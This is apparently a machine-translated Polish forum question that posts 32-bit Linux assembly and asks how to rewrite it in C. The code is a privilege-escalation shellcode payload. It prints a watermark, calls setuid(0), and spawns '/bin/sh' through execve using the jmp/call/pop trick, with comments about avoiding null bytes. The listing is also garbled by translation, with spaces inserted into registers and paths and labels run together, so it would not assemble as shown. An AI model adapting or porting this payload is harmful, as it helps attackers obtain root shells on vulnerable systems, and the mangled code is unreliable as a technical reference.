Mam następujący kod asemblera w dystrybucji Linuksa:
# używanie sekcji .data do zapisu # zamiast .text section.section .data.globl _start_start: # wyświetlanie niektórych znaków do znakowania wodnego :-) xor% eax,% eax # wyczyść eax, ustawiając eax na 0 xor% ebx,% ebx # wyczyść ebx, ustawiając ebx na 0 xor% edx,% edx # wyczyść edx, ustawiając edx na 0 push% ebx # push ebx do stosu, wskaźnik bazowy # dla ramki stosu push $ 0xa696e55 # push znaki Uni push $ 0x4d555544 # push znaki MUUD push $ 0x414d4841 # push znaki AMHA movl% esp,% ecx # przenieś sp do ecx movb $ 0xf ,% dl # move 15 to dl (low d), to jest długość łańcucha, # zwróć uwagę na użycie movb - move byte, ma to na celu uniknięcie null movb $ 0x4,% al # move 4 to al (low l), # 4 to numer wywołania systemowego dla # write (int fd, char * str, int len) int $ 0x80 # wywołanie jądra / syscall # setuid (0) xor% eax,% eax # wyczyść eax, ustawiając eax na 0 xor% ebx,% ebx # wyczyść ebx, ustawiając ebx na 0 xor% ecx,% ecx # wyczyść ecx przez ustawienie ecx na 0 movb $ 0x17,% al # move 0x17 into al - setuid (0) int $ 0x80 # wywołanie jądra / syscall jmp do_call # skocz, aby uzyskać adres za pomocą wywołania trickjmp_back: pop% ebx # ebx (wskaźnik bazowy = wskaźnik ramki stosu) ma # adres naszego ciągu, użyj go do zindeksowania xor% eax,% eax # wyczyść eax, ustawiając eax na 0 movb% al, 7 (% ebx) # wstaw wartość null na N lub shell [7] movl% ebx, 8 (% ebx) # umieść adres naszego ciągu (w ebx) w powłoce [8] movl% eax, 12 (% ebx) # umieść null w powłoce [12] nasz ciąg teraz wygląda jak # "/ bin / sh \ 0 (* ebx) (* 0000)" xor% eax,% eax # wyczyść eax, ustawiając eax na 0 movb $ 11,% al # put 11, czyli execve
# syscall number do al leal 8 (% ebx),% ecx # wstaw adres XXXX ie (* ebx) do ecx leal 12 (% ebx),% edx # umieść adres YYYY ie (* 0000) w edx int $ 0x80 # call kernel / syscalldo_call: call jmp_backshell: .ascii "/ bin / shNXXXXYYYY"
Jak można przekonwertować go na kod C?